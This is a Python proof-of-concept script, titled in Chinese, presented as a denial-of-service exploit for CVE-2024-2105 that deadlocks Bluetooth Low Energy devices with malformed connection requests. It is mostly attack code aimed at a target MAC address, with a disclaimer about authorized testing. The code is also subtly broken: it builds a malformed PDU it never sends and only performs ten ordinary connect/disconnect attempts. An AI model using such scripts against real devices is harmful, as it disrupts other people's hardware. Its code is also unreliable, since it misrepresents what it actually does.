CVE-2024-2105 蓝牙BLE连接请求验证不当导致设备死锁

#!/usr/bin/env python3 """ CVE-2024-2105 PoC - BLE Connection Request Deadlock Note: This is a conceptual PoC for educational and security research purposes only. Usage: Requires root privileges and Bleak library installation. """ import asyncio import struct from bleak import BleakClient from bleak.exc import BleakError TARGET_DEVICE = "XX:XX:XX:XX:XX:XX" # Target BLE device MAC address def craft_malformed_connection_request(): """ Craft a malformed BLE connection request to trigger validation flaw. This exploits improper validation during BLE connection establishment. """ # BLE Connection Request PDU structure (simplified) # Initiator address: 6 bytes # Advertiser address: 6 bytes # Access Address: 4 bytes # CRC Init: 3 bytes # Win Size: 1 byte # Win Offset: 2 bytes # Interval: 2 bytes # Latency: 2 bytes # Timeout: 2 bytes # Channel Map: 5 bytes # Hop: 1 byte malformed_pdu = bytearray() # Fill with edge case values to trigger validation issue initiator_addr = b'\xFF\xFF\xFF\xFF\xFF\xFF' advertiser_addr = b'\x00\x00\x00\x00\x00\x00' # Invalid connection parameters malformed_pdu.extend(initiator_addr) malformed_pdu.extend(advertiser_addr) malformed_pdu.extend(b'\x00\x00\x00\x00') # Invalid Access Address malformed_pdu.extend(b'\xFF\xFF\xFF') # Invalid CRC malformed_pdu.extend(b'\x00') # Invalid Win Size malformed_pdu.extend(b'\xFF\xFF') # Invalid Win Offset malformed_pdu.extend(b'\x00\x00') # Invalid Interval malformed_pdu.extend(b'\xFF\xFF') # Invalid Latency malformed_pdu.extend(b'\x00\x00') # Invalid Timeout malformed_pdu.extend(b'\x00\x00\x00\x00\x00') # Invalid Channel Map malformed_pdu.extend(b'\xFF') # Invalid Hop return bytes(malformed_pdu) async def trigger_deadlock(): """ Attempt to trigger deadlock condition on target BLE device. """ print(f"[*] Starting CVE-2024-2105 PoC") print(f"[*] Target: {TARGET_DEVICE}") try: # Scan for BLE devices print("[*] Scanning for BLE devices...") # Attempt multiple rapid connection requests for i in range(10): print(f"[*] Attempt {i+1}/10 - Sending malformed connection request") try: client = BleakClient(TARGET_DEVICE, timeout=1.0) await client.connect() await asyncio.sleep(0.1) await client.disconnect() except (BleakError, asyncio.TimeoutError) as e: print(f"[!] Connection attempt failed: {e}") continue print("[*] PoC execution completed") print("[!] Note: Actual exploitation requires specific device conditions") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # DISCLAIMER: For authorized security testing only print("=" * 60) print("CVE-2024-2105 BLE Deadlock PoC") print("For authorized security testing only") print("=" * 60) asyncio.run(trigger_deadlock())